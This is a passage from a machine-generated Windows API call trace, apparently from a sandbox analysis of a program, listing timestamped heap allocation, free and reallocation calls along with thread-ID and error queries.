lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.806] GetCurrentThreadId () returned 0x9b0 [0074.806] GetCurrentThreadId () returned 0x9b0 [0074.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.806] GetCurrentThreadId () returned 0x9b0 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8160 [0074.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8160 | out: hHeap=0x2ad0000) returned 1 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.806] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x1c) returned 0x2ba3a50 [0074.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.806] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x1c) returned 0x2ba3a50 [0074.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9c98 [0074.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x607) returned 0x2aa2198 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.807] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2198, Size=0x681) returned 0x2aa2198 [0074.807] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2198, Size=0x803) returned 0x2aa2198 [0074.807] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2198, Size=0x73c) returned 0x2aa2198 [0074.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c98 | out: hHeap=0x2ad0000) returned 1 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb828 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca80a0 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2010) returned 0x2cbc818 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x398) returned 0x30e5b58 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x729) returned 0x2cbe830 [0074.807] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbe830, Size=0x728) returned 0x2cbe830 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4660) returned 0x3020048 [0074.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3020048 | out: hHeap=0x2ad0000) returned 1 [0074.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbe830 | out: hHeap=0x2ad0000) returned 1 [0074.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f08, Size=0x20) returned 0x2a1fb00 [0074.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a19130 [0074.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19578 [0074.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac0288 [0074.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0288, Size=0xb8) returned 0x2ac9050 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] GetLastError () returned 0x0 [0074.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80d0 | out: hHeap=0x2ad0000) returned 1 [0074.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbfd0 [0074.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbca88 | out: hHeap=0x2ad0000) returned 1 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbfd0 | out: hHeap=0x2ad0000) returned 1 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aea0 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4c) returned 0x2acd120 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acd120 | out: hHeap=0x2ad0000) returned 1 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4c) returned 0x2acd120 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acd120 | out: hHeap=0x2ad0000) returned 1 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fba0 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x70) returned 0x2cd7f08 [0074.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x70) returned 0x2cbc4b8 [0074.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd7f08 | out: hHeap=0x2ad0000) returned 1 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f38, Size=0x10) returned 0x2ca80d0 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbfd0 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x2cd0908 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x30e5b58 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e) returned 0x2a19328 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2cd0b90 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2cbc4b8 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0b90 | out: hHeap=0x2ad0000) returned 1 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19328 | out: hHeap=0x2ad0000) returned 1 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80d0, Size=0x10) returned 0x2ca8100 [0074.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af80 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71940 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbc8 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbc8 | out: hHeap=0x2ad0000) returned 1 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.811] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x10) returned 0x2ca80d0 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8100 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8100 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16) returned 0x2a71940 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58) returned 0x2a88750 [0074.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58) returned 0x2a6d610 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88750 | out: hHeap=0x2ad0000) returned 1 [0074.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d610 | out: hHeap=0x2ad0000) returned 1 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.812] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80d0, Size=0x10) returned 0x2ca8028 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x30e5b58 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a201f8 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4d) returned 0x2acd120 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x134) returned 0x2cbc4b8 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x134) returned 0x2c81978 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acd120 | out: hHeap=0x2ad0000) returned 1 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81978 | out: hHeap=0x2ad0000) returned 1 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201f8 | out: hHeap=0x2ad0000) returned 1 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.812] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8028, Size=0x10) returned 0x2ca7f38 [0074.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0074.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa) returned 0x2ca7f98 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ffb8 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a201c8 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f98 | out: hHeap=0x2ad0000) returned 1 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.813] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f38, Size=0x10) returned 0x2ca8100 [0074.813] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd0908, Size=0x500) returned 0x2cbe830 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af50 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71940 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.814] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x10) returned 0x2ca80d0 [0074.814] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbe830, Size=0xa00) returned 0x2cbe830 [0074.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a981f8 [0074.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbca88 | out: hHeap=0x2ad0000) returned 1 [0074.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x74) returned 0x2cd7f08 [0074.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe0) returned 0x2cbc4b8 [0074.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x380) returned 0x2cd0908 [0074.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x380) returned 0x30e5b58 [0074.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0908 | out: hHeap=0x2ad0000) returned 1 [0074.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x2ad0000) returned 1 [0074.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd7f08 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbe830 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbfd0 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a981f8 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80d0 | out: hHeap=0x2ad0000) returned 1 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1a) returned 0x2a1fba0 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a195e8 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19578 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbc2e0 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f20 | out: hHeap=0x2ad0000) returned 1 [0074.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.815] GetCurrentThreadId () returned 0x9b0 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbcc0 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c7ae20 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af30 [0074.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0074.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b010 [0074.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.816] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b010, Size=0x14) returned 0x2a71580 [0074.816] GetCurrentThreadId () returned 0x9b0 [0074.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa) returned 0x2ca8118 [0074.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.817] GetCurrentThreadId () returned 0x9b0 [0074.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbcc0 [0074.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a98800 [0074.817] GetCurrentThreadId () returned 0x9b0 [0074.817] GetCurrentThreadId () returned 0x9b0 [0074.817] GetCurrentThreadId () returned 0x9b0 [0074.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a200a8 [0074.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.818] GetCurrentThreadId () returned 0x9b0 [0074.818] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.819] GetLastError () returned 0x0 [0074.819] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.820] GetLastError () returned 0x0 [0074.820] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 